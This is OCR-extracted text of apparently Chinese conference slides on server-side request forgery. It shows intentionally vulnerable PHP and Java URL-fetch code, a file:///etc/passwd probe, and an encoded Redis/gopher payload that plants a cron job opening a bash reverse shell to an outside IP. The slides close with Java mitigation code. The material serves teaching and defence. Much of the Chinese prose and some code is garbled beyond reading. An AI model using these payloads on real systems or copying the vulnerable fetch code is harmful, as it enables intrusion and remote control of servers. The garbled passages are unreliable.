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# index. php # index. java

function request($url) import java.net.URL;

{
$ch = curl init(); String url = request.getParameter(“url");
curl setopt($ch, CURLOPT URL, $url); u = new URL(url);
curl_setopt($ch, CURLOPT_HEADER, 0); inputStream = u.openStream();
curl_exec($ch); outputStream = response.getOutputStream();
curl close($ch);

¥

$url = $ GET[ ‘url’];

request($url);
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http://127.0.0. 1/index?url=file:///etc/passwd
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00d%2502%250d%250a%250a%250a%2A%2F 1%20%2A%20%2A%20%2A%20%2A%20bash%20—
1%20%3E%26%20%2Fdevh2Etcph2F103. 21. 140. 84%2F6789%200%3E%261%250a%250a%250a%250a%250a%250d%250a
%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconf'ig%250d%250a%243%250d%250aset%250d%250a%24
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WO github &

eeeee ity Project SOCIAL CODING

license MIT License

- pﬂ https://github. com/wufeifei/cobra
ava open source
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https://eithub. com/wufeifei/WAVR
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WAVR - web sz ik i 52 7 %

SSRF(Server-side Request Forge, BRFBimIEK{AIE).,

i ) 1) 7T

BBUEE SN RS AR SHATERNIRE, —RARENMBNLBEAMBRS.

EHAHIF

BERH—ERERE, BATNED EREXENRSEA BIRATHER.

PG

MRBASE K ibht, WEEERBRNEHIARRETHAXNES, AEBHRATLE, BNTUBKHELTENE
ES
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PP
PP

PHPAR 2

SSRF_@1.php

* Request service(Base file_get contents)
*
* @author Feei <wufeifeifwufeifei.com>
* @link http://wufeifei.com/ssrf
*_,."
$url = $ GET['url'];
echo file_get_contents($url);

SSRF_@2.php

TET
&

* Request service(Base cURL)

x

* @author Feei <wufeifeifwufeifei.com>

* @link http://wufeifei.com/ssrf

-1'\-;-'

function curl($url){

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 8);
curl_exec($ch);
curl_close($ch);

}

$url = $ GET['url'];
curl($url);
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WAVR - web sz ik i 52 7 %

BEEM

AR5 PR

HERY, FAMWE—TEHRMIEXR: http://10.11.2.1:80 IREIE FHUBAETF, BEEARRRERIIEITBERINERET
#q, BTFEMNASHOEANIP, MBEERRRBRIZVBEELESENAMT, WRRSFE, WEEIERAI), LEESFIRTEA
HkiERequestAYIR (Bl B (8] o] PAFIB X MmO ERARSZ 2R /S, PRLARNATPLETEHARBAMIP, XFIEEREAMEIIRS
BT,

B
PR 7 BEERM, TR P] OB IS BUE 18 KK LY A M AR S5 YT o
falmrequestiR S —RREZIFIRHTTP/HTTPIASMOIAY, LEIPHPHRE BMcurl requestBRSSERIAFT B SZFFAIMN :

$ curl -V

curl 7.47.1 (x86_64-apple-darwinl5.3.0) libcurl/7.47.1 OpenSSL/1.0.2h z1ib/1.2.8

Protocols: dict file ftp ftps gopher http https imap imaps pop3 pop3s rtsp smb smbs smtp smtps telnet tftp
Features: IPv6 Largefile NTLM NTLM WB SSL libz TLS-SRP UnixSockets

% #5file, dict, gopher& X, FfATATA AT A X EMBCRET WIS BT E R ERIFANIRERE .
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PP
PP

i — AR TFTERY It 5

RESS AR S RIS
o IL{fRSEENS
MILFE BB S5 28 1R K & R
o MURLL{EER
o 1JIRIRSS
2EFEA B INEE
o Oracle
o MongoDB
o MSSQL
o Postgres
© CouchDB

B 65 A 55 25 LU L i P 6 R 14
© POP3/IMAP/SMTP

SR, RISAMEE. MUEAHER
O FFmpeg
o ImageMagick
O Docx
o PDF
o XML

INTERNATIONAL SOFTWARE DEVELOPMENT CONFERENCE Qcon [j I::"_ﬁﬁlu_] 201 7



WAVR - webpi HIRIAEE 7%=

BEAR
R AF AT = SR BN ET HH B SSRFRA:

1. IR AAEBIRIEIEHTTP, HTTPSIMYRI(ER, (ESSRFEEMSREEREIESR,

2. B 1HBERERA301KYE (HBFERAERHTTP/HTTPSIERIIMEINFFRNAR) ;

3. AERERZGBABRR;
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PP
ez

Java HttpURLConnection

/l*x
* 1. BRBIIEFHTTP/HTTPSIIMY
*7
if(lurl.getProtocol().startsWith("http"))
throw new Exception();

%
* 3. WREQRE
*/
InetAddress inetAddress = InetAddress.getByName(url.getHost());
if(inetAddress.isAnylLocalAddress() || inetAddress.islLoopbackAddress() || inetAddress.islLinklLocalAddress())
throw new Exception();
HttpURLConnection conn = (HttpURLConnection)(url.openConnection());
* 2. RiE3013K3%
*/
conn.setInstanceFollowRedirects(false);
conn.connect();
I0Utils.copy(conn.getInputStream(), out);
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